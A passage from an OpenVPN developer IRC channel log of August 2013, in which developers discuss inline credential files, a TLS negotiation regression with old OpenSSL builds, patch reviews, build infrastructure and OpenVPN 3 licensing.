about either, in fact 04:02 < waldner> if we allow inlining, people would (rightly) expect that it work the same whether they use it or use the traditional syntax 04:04 < waldner> I see some benefit with inlining as we don't need to introduce the auth-user-pass user foo thing 04:05 < waldner> yes it makes sense 04:05 <@pekster> Right, and the functions to do some of the inline file handling already exist too 04:05 < waldner> and (without looking at the code) I guess the routines to manage inlene stuff are already there, so they can be used for this too 04:05 < waldner> you beta me :) 04:05 < waldner> *beat 04:06 < waldner> ok, I'm sold 04:06 < waldner> I didn't think of the inline feature, mostly because I don't use it, but it makes sense indeed 04:06 < waldner> thanks 04:07 <@pekster> I don't use them either, but someone noticed the connection :). Things like read_inline_file() and check_inline_file() (from options.c) do half the legwork for you, and you can compare processing to the existing functions that call them now 04:08 <@pekster> That's as far as in the code I got in 2 minute :) 04:09 < waldner> and the argument that we don't want passwords in the config doesn't hold either, as I see that --key can be inlined, so... 04:09 <@pekster> This said, a key is often actually an *encrypted* key 04:10 <@pekster> Nothing stops users from decrypting it of course, but this is true today with external key files as well 04:10 < waldner> yes, but I don't see anything in the man that forces it to be encrypted 04:10 < waldner> that is, if one wants, they can put an unencrypted key there 04:11 < waldner> and if they're concerned, they can avoid a cleartext password in the config and use the external file (which is just marginally better if at all, but at least doesn't put password in the config) 04:12 <@pekster> It was mostly a musing I had that, for builds lacking ENABLE_PASSWORD_SAVE, shold it even be supported to use cleartext passwords in the first place 04:12 <@plaisthos> Like openvpn server 04:12 <@plaisthos> that should start without user intervention 04:12 <@pekster> You'd hardly auth a un/pw on the server, though :P 04:13 <@pekster> but for keys, yea. Best you could do would be a crypted filesystem that gets unlocked at mount time 04:13 <@pekster> (for the really paranoid against physical theft) 04:15 < waldner> yes, if one is that paranoid surely they won't store the auth password anywhere anyway 04:15 <@pekster> Ah, default build on windows does enable password save as it stands today anyway 04:15 <@pekster> So, mostly a moot point since I suspect very few shops (or people in general) do custom builds 04:43 -!- mattock is now known as mattock_afk 04:51 < syzzer> plaisthos: does your app generate keys / other random from the java code? 04:51 < syzzer> openvpn itself uses openssl directly, right? 05:11 <@plaisthos> syzzer: yes 05:11 <@plaisthos> The app accesses the android stored certificates and does crypto there 05:12 <@plaisthos> something along Cipher rsasinger = Cipher.getInstance("RSA/ECB/PKCS1PADDING"); 05:39 -!- dck28 [~dennis@n058152074193.netvigator.com] has left #openvpn-devel ["Leaving"] 05:50 < syzzer> as long as you're just signing stuff using keys generated somewhere else you should be fine. Generating keys / ivs is a problem though... 05:58 <@cron2_> oh my, you've been busy today... *read backlog* 06:06 <@cron2_> are we planning to have a meeting today? It's not exactly convenient for me today, so I'd prefer not to 06:10 * waldner too fwiw 06:32 <@cron2_> plaisthos: what's the current state of affairs with your optional-argument patch v2? Is it on the list already, or still brewing? 06:32 * cron2_ completely lost track of things but intends to do large-scale cleaning up tomorrow - whole day set aside for OpenVPN work 06:35 <@plaisthos> cron2_: err forgot to do a v2 06:36 <@cron2_> "too warm"? :-) 06:36 <@plaisthos> I will try to get it done this evening 06:36 <@plaisthos> cron2_: yeah that too :D 08:02 <@plaisthos> If have a meeting today I will be late 08:27 -!- mattock_afk is now known as mattock 13:28 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 14:58 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 19:08 <@cron2_> *yawn* --- Day changed Fri Aug 16 2013 02:33 -!- mattock is now known as mattock_afk 03:39 <@plaisthos> cron2_: I have sent an update version of the patch 04:27 -!- mattock_afk is now known as mattock 04:47 <@cron2_> plaisthos: yup, saw it. 05:21 < waldner> does anyone know what the AUTO_USERID thing is? it looks like a way of autogenerating the username based on mac address, but it's completely undocumented afacit 05:22 < waldner> misc.c, line 1296 05:24 <@cron2_> that is interesting indeed 05:25 <@cron2_> it's enabled by #if defined(ENABLE_AUTO_USERID) in syshead.h, but no --enable... switch in configure 05:27 < waldner> if it's not reachable I guess it should be cleaned up from the source, to avoid confusing people 05:30 * cron2_ suggests checking with james... this could be legacy, or "unfinished feature"... (like the push-peer-info stuff that lay dormant for all of 2.2.x) 05:30 <@plaisthos> :) 05:31 < waldner> well, for the time being I'll do as if it's not there, but thanks for confirming that I'm not alone :) 05:32 <@cron2_> usually it's plaisthos who finds such code gems :-) 05:33 * plaisthos ducks 05:33 <@plaisthos> AUTO_USERID is new to me :) 05:34 <@cron2_> yeah, you're more digging around in the socket stuff :-) - that one is ssl.c/misc.c 05:34 < waldner> also, how hard would it be to have the output from openvpn --version in a format that could be immediately be reused as arguments to the configure script (eg enable_crypto=yes => --enable-crypto=yes etc) 05:34 < waldner> or maybe I'm doing it wrong and there's an easy way to find out how it was built 05:36 <@cron2_> waldner: I'm not an autoconf geek, but there's actually two aspects here - "--version" shows all settings, no matter whether default or non-default (good), but it would indeed nice to have something like "show me the full autoconf command line used" (which goes into config.log) 05:36 <@cron2_> like gcc -v does 05:37 < waldner> I'm using a simple sed to convert it atm, but even so... 05:37 <@cron2_> but maybe we then need "openvpn --version --verbose" to keep down the noise... 07:34 <@plaisthos> what was the security alias? 07:34 <@plaisthos> security@openvpn.net? 07:43 <@cron2_> yep 07:43 <@cron2_> the obvious point to send end user questions to 07:47 <@plaisthos> cron2_: :D 09:22 <@cron2_> is ecrist around? vpn-helper seems to have some heat damage recently... 09:24 * plaisthos hates OpenSSL for being confusing 09:33 <@cron2_> Zunächst wird die Zweigspitze zurückgespult, um deine Änderungen 09:33 <@cron2_> darauf neu anzuwenden... 09:33 <@cron2_> argh, the pains 09:42 <@plaisthos> First the branch will be revert to apply your changes again? 09:43 <@plaisthos> cron2_: you probably get an error: "Kein Weltraum links vom Gerat" when trying to do that ;) 09:44 <@cron2_> Kein Weltraum links auf dem Gerät 09:44 <@cron2_> plaisthos: well, the usual "git rebase" message, just forgot to set LANG=C beforehand 09:44 <+krzee> cron2_, whats wrong with vpnHelper? 09:44 <@cron2_> krzee: since "a while" it's reporting the very same 3 git commits as "new" every day 09:45 <+krzee> hah 1sec 09:45 <@cron2_> so every day I wonder "huh, dazo did something?" and then I see "ah, old stuff..." :-) - it might not actually be vpnhelper's fault, could be sourceforge or github... 09:46 <+krzee> well if the rss doesnt change he should ignore 09:46 <@cron2_> "heat damage" 09:46 <+krzee> :D 09:49 <+krzee> https://github.com/OpenVPN/openvpn/commits/master.atom 09:49 < vpnHelper> Title: Recent Commits to openvpn:master Added "setenv opt" directive prefix. If present, and if the TLS version negotiation (at github.com) 09:49 <@cron2_> yeah, that's the most recent one right now 09:49 * cron2_ is in openvpn maintainer mode today, so there will be more :-) 09:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: krzee] 09:56 * plaisthos make a lolola wave 09:57 <+krzee> ecrist, im getting operation not permitted when vpnHelper tries to connect to freenode, on both port: 6666 (like before) and 8000 (just tried) 10:00 <+krzee> firewall looks fine 10:01 < fields2grand> krzee, would you be available for a quick chat? I do not have troubleshooting problems, I'm interested in your services. 10:05 <+krzee> sure, message me 10:11 <@cron2_> krzee: shouldn't that be 6667? 10:11 <+krzee> that also doesnt work 10:12 <+krzee> WARNING 2013-08-16T10:08:21 Error connecting to chat.freenode.net:6667: error: 10:12 <+krzee> [Errno 1] Operation not permitted 10:12 <+krzee> all 3 are working freenode ports 10:12 <@cron2_> that sounds like local firewall, tbh 10:12 <+krzee> thats what i figured 10:12 <+krzee> pass out from <self> to any flags S/SA keep state 10:13 <@cron2_> maybe <self> has changed? 10:13 <+krzee> with nothing blocking 10:13 <@cron2_> or another rule below that blocks? 10:13 <+krzee> nothing overriding 10:13 <+krzee> and ip hasnt changed 10:13 <+krzee> definitely odd 10:14 <+krzee> im wondering if he updated software and maybe something in python exploded or something 10:14 <+krzee> (ecrist's server, maybe he knows what changed) 10:15 <+krzee> %write ecrist 10:15 <+krzee> write: ecrist is logged in more than once; writing to pts/1 10:15 <+krzee> can you check out why vpnHelper cant connect to freenode? #openvpn-devel for more info 10:15 <+krzee> % 10:15 <+krzee> :) 10:16 <@ecrist> I'll look in a few 10:16 <+krzee> wow 'write' really gets your attention! 10:16 <@cron2_> heh :) 10:17 <@cron2_> plaisthos: have you seen James' [PATCH] MSVC fixes mail? 10:19 <@cron2_> any comment? I can't see anything obviously broken and would (ACK and) commit it to master now 10:30 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:32 <@ecrist> krzee: :) 10:34 <@ecrist> krzee: write sends a bell to my terminal, which Mac's Terminal.app responds to by making noice and flashing notifications 10:35 <+krzee> terminal ping! 10:42 <@cron2_> so, let's see whether vpnhelper picks this up... 10:42 <@cron2_> (and buildbot, fwiw) 10:44 <@cron2_> heh, plaisthos has a working crystal ball 10:45 <@cron2_> +.B \-\-ignore-unknown-option 10:45 <@cron2_> +is available since OpenVPN 2.3.3. 10:45 <@ecrist> heh 10:45 <+krzee> ecrist, what fixed it? 10:45 <@ecrist> krzee: that host has an IPv6 address, but something is horked. I forced to to v4 10:45 <+krzee> OIC thanks 10:46 <@ecrist> why did you kill it to begin with? 10:46 <@vpnHelper> RSS Update - testtrac: MSVC fixes <https://github.com/OpenVPN/openvpn/commit/46e02127a44270c7199f458f43807bff2ddb11f3> 10:46 <@cron2_> oh, cool 10:46 <@cron2_> ecrist: that's the reason, the RSS update wasn't working anymore, it kept repeating the same 3 old changes every day 10:46 <+krzee> didnt see anything wrong with tracfeed and it recently started repeating itself, so i figured ild give a restart a try 10:47 <+krzee> which worked, but then what you fixed happened =] 11:02 * cron2_ is too stupid to use ignore-unknown-option without accidents 11:08 <@plaisthos> cron2_: I thought for those ignore options it would be good to have version when they are included 11:12 <@cron2_> yeah, it all makes perfect sense :-) - I just find it funny to commit a patch that talks about a version that is not there yet 11:22 <@vpnHelper> RSS Update - testtrac: Add a note what setenv opt does for OpenVPN < 2.3.3 <https://github.com/OpenVPN/openvpn/commit/39dad37d5b13c4dc0614ab7b19fdae88c23de0a2> || Add support to ignore specific options. <https://github.com/OpenVPN/openvpn/commit/b685a1e6b012682ce7d6fb31960273b8f5213714> 11:27 <@plaisthos> cron2_: hm you should/could apply the pkcs12 certificate fix patch 11:27 <@cron2_> plaisthos: which one is that (subject)? 11:27 <@cron2_> Subject: [Openvpn-devel] [PATCH] Always load intermediate certificates from 11:27 <@cron2_> that one? 11:27 <@plaisthos> yeah 11:28 <@plaisthos> I think it is acked already 11:28 <@plaisthos> wait a sec 11:28 <@cron2_> there's no ack on the list, but it might have been acked in a meeting 11:28 <@plaisthos> 2013-06-20 [PATCH] Always load intermediate certificates froma PKCS#12 file Heikki Hannikainen <hessu@...> ACK from jamesyonan, plaisthos and syzzer 11:29 <@cron2_> you can update the page to move the two patches from today to "Applied" :-) 11:29 <@plaisthos> already did :) 11:29 <@plaisthos> just hit save 11:30 <@cron2_> heh :) 11:30 <@cron2_> ok, is that patch for master or master+2.3? I'm not sure I remember whether this is considered a feature or a bugfix? 11:30 <@plaisthos> bugfix 11:32 <@plaisthos> lets openvpn as tls client behave like it should 11:32 <@plaisthos> (always sending the whole cert chain when possible) 11:32 <@cron2_> what is syzzer's realname? 11:32 <@cron2_> (for the acked-by) 11:33 <@cron2_> ah, Steffan 11:34 <@cron2_> sigh 11:34 <@cron2_> error: src/openvpn/ssl_openssl.c: patch does not apply 11:35 <@cron2_> why? *stare* 11:37 <@plaisthos> the patch is not that big :) 11:37 <@cron2_> it's whitespace stuff 11:38 <@plaisthos> yeah patch -l applies it 11:39 <@cron2_> Hunk #1 succeeded at 412 with fuzz 1 (offset 32 lines). 11:48 <@cron2_> test-compiling... 12:00 <@cron2_> bah, sf is borked and refuses to take the push 12:01 <@cron2_> ok, worked on second attempt. weird 12:02 <@vpnHelper> RSS Update - testtrac: Always load intermediate certificates from a PKCS#12 file <https://github.com/OpenVPN/openvpn/commit/6481f879eb62cafa6ad652801b2b5c45e546ef44> 12:06 <@cron2_> plaisthos: could you add the two patches from Jesse Glick to your list, while moving the PKCS#12 one down? 12:08 -!- cron2_ is now known as cron2 12:09 <@plaisthos> cron2: will do later 12:47 * cron2 is tired and goes watch TV for a while 13:24 <@cron2> ok, seems I didn't break *that* much today... my server side tests still succeed :) 17:07 <@cron2> so, openvpn work done for today... uh... yesterday... 7 minutes past midnight already... --- Day changed Sat Aug 17 2013 05:40 <@cron2> mattock: buildbot isn't working right. No builds since July 27, so it's not picking up new pushes 07:06 < waldner> can anyone make an example of how static or dynamic challenge/response passwords are used via the management interface? I understand it's mostly used for OTP and stuff like that 07:07 < waldner> (and yes, already reading http://openvpn.net/index.php/open-source/documentation/miscellaneous/79-management-interface.html) 07:07 <@vpnHelper> Title: Management Interface (at openvpn.net) 07:17 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 248 seconds] 07:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 07:19 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 07:39 <@plaisthos> waldner: that and the source code are basically all documentation there is 07:55 < waldner> plaisthos: yes, that's why I'm asking for an example, since I don't use it 07:55 < waldner> my understanding is that server-side, a process connects to the server's management, and sends a challenge to a client 07:56 < waldner> at the client, the challenge appears in the client's management, the client sends the response, which finally appears in the server's management interface, which can then decide whether to allow/deny etc 07:56 < waldner> is this correct? 08:03 <@plaisthos> waldner: as far as I understood it yes 08:03 <@plaisthos> but I have never seen a configuration that really uses it 08:03 <@plaisthos> probably only OpenVPN AS uses it 08:04 < waldner> plaisthos: thanks 08:52 -!- riddle [riddle@us.yunix.net] has quit [Quit: leaving] 08:53 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel --- Day changed Sun Aug 18 2013 05:36 <@plaisthos> HEADS UP: the tls negotiation may have broken things: 05:36 <@plaisthos> A user get an error after upgrading my app 05:36 <@plaisthos> P:TLS_ERROR: BIO read tls_read_plaintext error: error:14092105:SSL 05:36 <@plaisthos> routines:SSL3_GET_SERVER_HELLO:wrong cipher returned 05:43 <@cron2> ouch 05:43 <@cron2> could you send this to the list? James isn't actively monitoring IRC, and I think we need the crypto geeks to look at this... 07:03 <@plaisthos> Yeah. I wrote to the list 07:04 <@plaisthos> and I got a second report :( 08:35 <@plaisthos> oth are agianst some openwrt variant 08:36 <@plaisthos> so maybe some strange polarssl/openssl library 10:32 <@pekster> plaisthos: Any idea if either end uses --tls-cipher ? 10:33 <@plaisthos> pekster: will ask 10:34 <@pekster> I'd like to try and reproduce this; I did some basic testing of the TLS negotiation commit on top of 2.3.2 and it seemed to play nice, but I will note this was all with OpenSSL on the patched end 10:35 <@plaisthos> yeah 10:35 <@plaisthos> I suspect tomato vpn to have a 0.9.x openssl version 10:39 <@plaisthos> If they had x86 images .... 10:39 <@pekster> Even 0.9.x "should" be fine if it's able to speak TLSv1 10:41 <@plaisthos> VERSION=0.9.6d 10:41 <@plaisthos> yeah should :) 10:41 <@plaisthos> no idea what going one there ... 10:45 <@plaisthos> I will try to confirm that the tls commit is the offending one 10:51 <@pekster> A quick glance at the upstream OpenSSL code reveals that this might occur in 2 conditions: a TLSv1.2-only ciphersuite is used when using <v1.2, or the cipher isn't in the list the peer (the one generating the error, for clarification) said it wanted to use 10:52 <@pekster> SSL_R_WRONG_CIPHER_RETURNED in s3_clnt.c 10:56 <@pekster> Is your app using OpenSSL? I thought it used Polar (and I assume that error is generated from an OpenSSL client as the error text doesn't appear in the Polar sources AFAICT) 10:56 <@plaisthos> no it uses OpenSSL 10:57 <@plaisthos> too many features missing from PolarSSL to make it a viable option for a general OpenVPN client 10:57 <@pekster> Right, it works for the TLS and cipher options that are mutually supported, but that's it 10:58 <@plaisthos> nah more the lack of external key and pkcs12 is problematic ;) 11:01 <@plaisthos> I am still wondering what causes a TLS 1.0+ to fail where a strictly TLS 1.0 works 11:03 <@pekster> Yea, that's the bit I don't get either. I just did a successful test with my patched 2.3.2 client (TLS-neg support) to a 2.2.2 setup with both no --tls-auth, and a defined TLS1.0 suite on both ends, and both work 11:05 <@pekster> I guess I haven't built that 2.2.2 with 0.9.6d :P 11:16 <@plaisthos> cipher aes-256-cbc 11:16 <@plaisthos> is the only thing in that config that is tls related 11:17 <@plaisthos> and then cipher much much later than tls handshake 11:17 <@plaisthos> and the user is using tls-auth 11:18 <@plaisthos> but that is also not a definining factor ... 11:18 <@pekster> Right, different codepath since the TLS 'HELLO' is the issue 11:19 <@plaisthos> OPENSSL_VERSION=1.0.0e 11:20 <@plaisthos> is the version my openvpn is build against 11:21 <@plaisthos> gosh 11:21 <@plaisthos> 0.9.8d is from 2006 11:21 <@pekster> Yea, the embedded firmwares don't tend to update core components of the userland very often 11:22 <@pekster> I've overall been mostly unimpressed with most of them except maybe openwrt, and they still do dumb stuff too (just more active dev base and they try/want to fix it) 11:23 <@pekster> 10.x on openwrt had openvpn 2.0.9 ;) (no subnet topology) 11:23 <@plaisthos> I have an old wrt54g somewhere 11:24 <@plaisthos> But I am not really in the mood to flash tomato firmware on that 11:25 <@plaisthos> I could install debian sarge 11:25 <@pekster> The upgrade the user did of your app, did that involve an openssl version bump? 11:25 <@plaisthos> pekster: no 11:26 <@plaisthos> pekster: my app uses whatever that android ROM ships 11:26 <@plaisthos> A version with the TLS negotiation reverted fixes the problem for both users :/ 11:28 <@pekster> My guess is defining a specific cipher-suite would too, but that's under the assumption that somehow ssl3_get_server_hello() is failing the sk_SSL_CIPHER_find 11:28 <@pekster> That's not the right fix, of course 11:29 <@pekster> There's some old (2008) noise about that find function not being thread-safe in certain versions as the ordering can change in different threads using the same context, but that shoudln't apply here eitiher 11:31 <@plaisthos> pekster: nah I have the whole client config here ... 11:33 <@plaisthos> I can't see anything in that configuration which could trigger a bug 11:42 <@pekster> Yea, pretty basic setup if no --tls-auth and none of the new --tls-min-version stuff is used. I'm just trying to see how (in the openssl code) that find() function could not find the cipher in the list the client sent initially 11:42 <@pekster> I'm assuming the TLSv1.2 codepath isn't behing hit (SSL_TLSV1_2) because otherwise your app wouldn't work with _any_ pre-TLS1.2 peer 13:38 <@cron2> I'm running -current builds on a server that is excercised daily with t_client tests, so it's not "uniformly broken" - there must be something else in the mix indeed 15:56 <@cron2> plaisthos: if you're bored from staring at crypto and feel like debugging socket.c, trac #306 might ring a bell. I've taken the ticket because, well, socket stuff is more my world than crypto, but you might have seen and fixed it already :-) 16:20 <@plaisthos> cron2: yeah like openssl 0.9.8d from 2006 ;) 16:35 <@plaisthos> cron2: No idea about #306. But I know what code pathes are involved. That are code pathes I wanted to refactor/simplify when the dual stack was finished 16:36 <@plaisthos> But since the dual stack stuff is still not in -master and putting more and more into my private openvpn branch feels like starting a fork --- Day changed Mon Aug 19 2013 02:34 <@cron2> plaisthos: we should really re-start merging the dual stack stuff "soon". At the very latest at the Munich hackathon, but preferrably earlier 02:44 <@mattock> cron2: buildbot + https... I'll see if I could get a read-only http/git url in there 02:45 <@cron2> is there nothing in sf git that works? 02:45 * cron2 finds github overhyped and slightly annoying 02:45 <@cron2> but anyway, whatever gets the buildslaves up and running again :-) - lots of new code to test 02:45 <@cron2> thanks 02:46 <@mattock> the http url seems to work too 02:46 <@mattock> I'll let the running builds finish, then restart the buildbot 02:47 <@mattock> then we can retrigger builds on the failed builders 02:49 <@cron2> ok, good 03:01 <@plaisthos> cron2: I will go to my patches again and build a patchset 03:23 <@plaisthos> mattock: you can close #317 04:33 <@mattock> plaisthos: ok 04:34 <@mattock> done 05:21 <@plaisthos> thanks 05:35 <@vpnHelper> RSS Update - tickets: #318: netsh.exe misses NLS setting when configuring interfaces <https://community.openvpn.net/openvpn/ticket/318> 05:45 <@cron2> 318 is what pekster brought up recently as well, I think 05:48 <@cron2> d12fk: could you look at the pull request there, and suggest a nicer way to convert to utf? This code is WAY ugly 05:49 <@plaisthos> yea 05:50 <@plaisthos> and I found an error just by looking at it 05:50 <@plaisthos> there is no bound checking 05:51 <@plaisthos> And I am not sure what cp2utf really does 05:51 <@plaisthos> a comment like converting ucs-2 to utf-8 or something would been nice 05:51 <@plaisthos> And I think there has to be a wchar_to_utf8 function or similar 05:52 <@plaisthos> rolling your own character conversion method is always suspect 05:55 <@cron2> plaisthos: the code is sheer horror (buffer overrun, static tables for stuff that windows surely has, etc) - but if it points at what's wrong here, it's a step in the right direction 05:56 <@d12fk> cron2: bah, there's an WIN32 API for that 05:57 <@plaisthos> cron2: sure 06:00 <@d12fk> why is it only in delete route? 06:01 <@plaisthos> probably delte gets called first 06:02 <@plaisthos> he modifies the name_data parameter 06:02 <@plaisthos> d12fk: and it is only v6 route delte ;) 06:07 <@cron2> d12fk: that's what I assumed :-) - why they only fixed one place, I can't answer, but since Pekster had that issue as well just recently, it's common enough to warrant fixing... 06:07 <@plaisthos> it should be easily reproducable 06:07 <@d12fk> http://msdn.microsoft.com/en-us/library/dd374130%28v=vs.85%29.aspx 06:07 <@vpnHelper> Title: WideCharToMultiByte function (Windows) (at msdn.microsoft.com) 06:08 <@plaisthos> d12fk: sssssh, don't tell anyone 06:09 <@d12fk> oh, too late, now we can't make any money of it... =) 06:09 <@plaisthos> and people will starting using that dark magic instead beatiful handcrafted code 06:10 <@cron2> well, there's that - what we have is no wchar, so we'd need *TWO* dark magic functions! 06:10 <@cron2> no wonder they decided to optimize 06:11 <@cron2> d12fk: can you take care of this and send a patch? I'll volunteer to actually test on XP :-) (I need to figure out how to build 2.3/master for windows anyway, and can use that knowledge for good) 06:12 <@d12fk> yeah, can do 06:13 <@cron2> thanks 06:15 <@mattock> cron2: there's pretty thorough documentation no building openvpn for Windows in Trac 06:16 <@mattock> depending on which OS you use for building it should be fairly straightforward 06:16 <@cron2> mattock: I was going to ask you about that, but $events messed up my planning for today big time :) - but now I don't even need to ask, great 06:16 <@mattock> all info should be linked to from the "Building using openvpn-build/generic buildsystem" page 06:16 <@cron2> cool 06:40 <@mattock> cron2: if you're ok with using Ubuntu 12.04 or 13.04 then you should have very little issues, and there are setup scripts in the wiki to do the work for you 06:47 <@cron2> mattock: well... my platform of choice is gentoo, but I do have an ubuntu 12.04 VM (where the OpenVPN AS tests are done) 06:48 <@mattock> as long as you can get all the dependencies, especially latest possible mingw-w64 installed, you should be fine with gentoo 06:48 <@mattock> and a recent osslsigncode 06:48 <@mattock> I used Gentoo in the past, but it broke too often during (large) upgrades 06:49 <@mattock> so I went to/returned to Debian/Ubuntu 07:04 <@mattock> it was fun to build openoffice on a Pentium II 300Mhz... took like 48 hours 07:05 <@mattock> Firefox and Thunderbird too 8 hours each 07:22 * cron2 has a new machine at work... i5 with 4 real cores (8 with HT) and 16 G RAM - building chrome takes less than an hour, including some of the dependencies 07:22 <@cron2> gentoo is fun on that box :-) 07:23 <@cron2> my atom at home is more for the zen ... 07:23 <@mattock> yeah, if it builds quick then gentoo is not that bad 07:26 <@cron2> and the most amazing thing about that box is: it does this without making any noise 07:27 <@cron2> in normal office environment, you just can't hear the box 07:30 <@mattock> that fairly rare nowadays 07:31 <@mattock> my oldish Dell (tower) server hosting the buildslaves is fairly quiet, too 07:31 <@mattock> the metal parts resonate a bit due to the harddrives, but the fans are very silent 07:36 <@cron2> actually it's a brand-new dell workstation. One of the tricks is "no separate graphics card" (as the built-in GPUs are good enough for anything but games), and the other trick is "large box, so it's easy to move air with a large-and-slow fan" 08:19 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:19 -!- mode/#openvpn-devel [+o plai] by ChanServ 08:22 -!- Netsplit *.net <-> *.split quits: @plaisthos 10:59 <@mattock> cron2: yeah, the high-performance graphics cards are crazy nowadays 10:59 <@mattock> I recall when the high-end graphics card had no fans (e.g. Voodoo cards or Riva TNT) 14:33 * waldner wonders why openvpn code is so perversely complicated 14:34 <@mattock> waldner: either the problem openvpn is solving is perversely complicated, or it's because james loves perversely complicated code 14:34 <@mattock> :P 14:34 <@mattock> or maybe both for maximum effect 15:27 <@cron2> waldner: the combination of "crypto", "fully configurable networking" and "runs on such a large variety of platforms" 15:27 < waldner> more likely because it's the result of successive changes, each of which on top of the previous ones 15:28 < waldner> it was mostly tongue in cheek of course 15:28 <@cron2> that, too, but even a full rewrite of the same functionality with the same platforms would not be easy-to-understand code :-) 15:28 < waldner> I think that's true too 15:29 <@cron2> removing stuff like "peer-to-peer vpn" and splitting the code into "this is server-only" and "this is client-only" would make much less complicated 15:30 < waldner> and I think it's not too bad overall for a codebase with such a long lifetime and which has undergone so many feature changes/additions 15:30 <@cron2> yep. Even if we complain about it all the time, I'm still quite impressed by many parts of the code 15:33 < waldner> still, sometimes it can makes you freak out 15:34 <@cron2> oh yeah 15:34 < waldner> well, at least it makes *me* 15:34 < waldner> more correctly 15:34 <@cron2> socket.c scares me :-) 15:34 <@cron2> (and I'm a networking guy - ssl* I just don't claim to understand) 15:38 <@plai> ~. 15:40 < waldner> I hear once that 3.x would be a complete rewrite - and james has even referred to it in messages...is that code published somewhere? 15:40 <@plai> waldner: semi public 15:40 <@plai> staging.openvpn.net/openvpn3 15:41 < waldner> I guess they want to kee the parts that give some extra funcionality like for mobile etc. private 15:41 <@plai> nah 15:41 <@plai> completly different issue 15:41 <@pekster> I think it was more an issue with licensing; you can't use GPL code if you don't want to open-source your changes 15:41 <@plai> part of apple ios code is under Apple NDA 15:42 <@pekster> The downside to this approach is the too-similar names, and the fact that "OpenVPN Access Server" is not _fully_ on-wire compatible with GPL "OpenVPN" 15:42 < waldner> ah right, I always forget about the mighty apple 15:42 <@cron2> pekster: now *that* would surprise me 15:42 <@pekster> It's "mostly" on-wire compatible, with notable edge-cases that gets people. And confuses them 15:42 <@pekster> cron2: There was some discussion of GPL settings that didn't work with AS, IIRC. Maybe that's been fixed? 15:42 <@cron2> OpenVPN AS is "a bunch of python scripts that drive an openvpn binary which is built from 2.1 svn" 15:42 <@plai> and so If you want contribute to OpenVPN3 to basically would need to agree to a contribution agreement which allows OpenVPN Corp to relicense 15:43 <@pekster> Oh, then it was Connect 15:43 <@pekster> Not AS 15:43 <@cron2> pekster: AS *is* using GPL openvpn as "engine" :-) - Connect on iOS and Android is OpenVPN 3 code base, which doesn't understand all options yet (and has new and different bugs) 15:44 <@pekster> Gotcha 15:45 < waldner> so iiuc it will be a long time before openvpn3 replaces 2.x in common desktop/server usage, if at all 15:45 <@cron2> waldner: 3 has no server functionality yet 15:46 < waldner> yes, that's why I said that 15:46 <@cron2> it's a nice clean client-side reimplementation 15:46 <@plai> cron2: yeah but not limited to client side 15:46 <@pekster> How widespread contributions are depends too on people's inclination to dual-license everything. Or someone to get motivated to fork it and port any 'upstream' changes 15:46 <@plai> server side is just not yet implemented 15:46 <@cron2> plai: it can do server side? or just peer-to-peer? 15:47 <@plai> cron2: as I understood James it is currently written as layers and the lower layers are not client or server specific 15:47 <@cron2> pekster: the issue is, if you want to see openvpn on iOS, it must be relicensed under some sort of closed license 15:47 <@plai> so it is already written to be used as server code in the near feature 15:47 <@cron2> so you can't fork it and build your own iOS client 15:48 <@pekster> cron2: Right. Dunno if that means v3 won't be copyleft, or just the iOS bits (I'm assuming the latter, but I know nothing of apple's NDA. I try not to eat that particular apple) 15:48 <@cron2> plai: let's see what timescale "near future" brings :-) - James keeps amazing me. OTOH, if I had full 8 hours a day to work on OpenVPN, my stuff might progress a bit faster, too :-) 15:49 <@plai> What I really don't like about the current situation is that we have two OpenVPNs but both need to agree on a common wire protocol and even on the naming of the options because that is also part of the wire protocol and the config files 15:49 <@cron2> pekster: James said 3 will be dual-licensed - GPL for "all but the Apple NDA bits", and closed "to make it work on iOS" 15:50 <@pekster> Sure, then forks are fine. In fact, it's quite possible for someone (if they felt there was reason -- I don't really see any besides RMS's black/white view of the world) to offer changes but where authors refused to dual-license 15:50 <@cron2> but that situation requires a contractor's agreement to be able to integrate external code... 15:50 <@pekster> see any reason* 15:50 <@plai> And since James focuses on the OpenVPN 3 code and we on the 2.x code base this has the potential for conflicts if one side decides to implement a feature that the other side does not like 15:50 <@pekster> An "apple contractor" ? heh 15:51 <@pekster> Is compatability even an issue? What if v3 just talks to other v3? That frees up lots more options, and allows to re-design otherwise immutable bits 15:51 <@cron2> plai: true. But so far, James has been quite practical about things that made sense 15:52 <@cron2> pekster: well, then you have "just another proprietary VPN" - the power of OpenVPN is "it runs everywhere, half the firewall vendors bundle it, and all versions talk to each other" (except if using OpenSSL 0.96...) 15:52 <@plai> pekster: yeah it is 15:52 <@pekster> But only b/c people use v3's version for iOS to talk to v2, right? 15:52 <@plai> pekster: worst case scenario is that open source openvpn may longer call itself openvpn 15:53 <@pekster> Right, LibreVPN vs OpenVPN or some such split 15:53 <@plai> and OpenVPN name rights are with OpenVPN corp 15:53 <@cron2> pekster: well, there is nothing else on iOS, and there is no v3 server... so I think all parties have an interest to make v2 talk to v3 15:53 <@pekster> I'm just musing that, if the wire protocol itself needed (someone wanted?) to be re-written, that's a possibility 15:53 <@pekster> I know little about it as I don't have an interest in diving into that rat's nest... 15:54 <@cron2> that will happen, at some point, and there will be pains... 15:54 <@cron2> pekster: oh, different 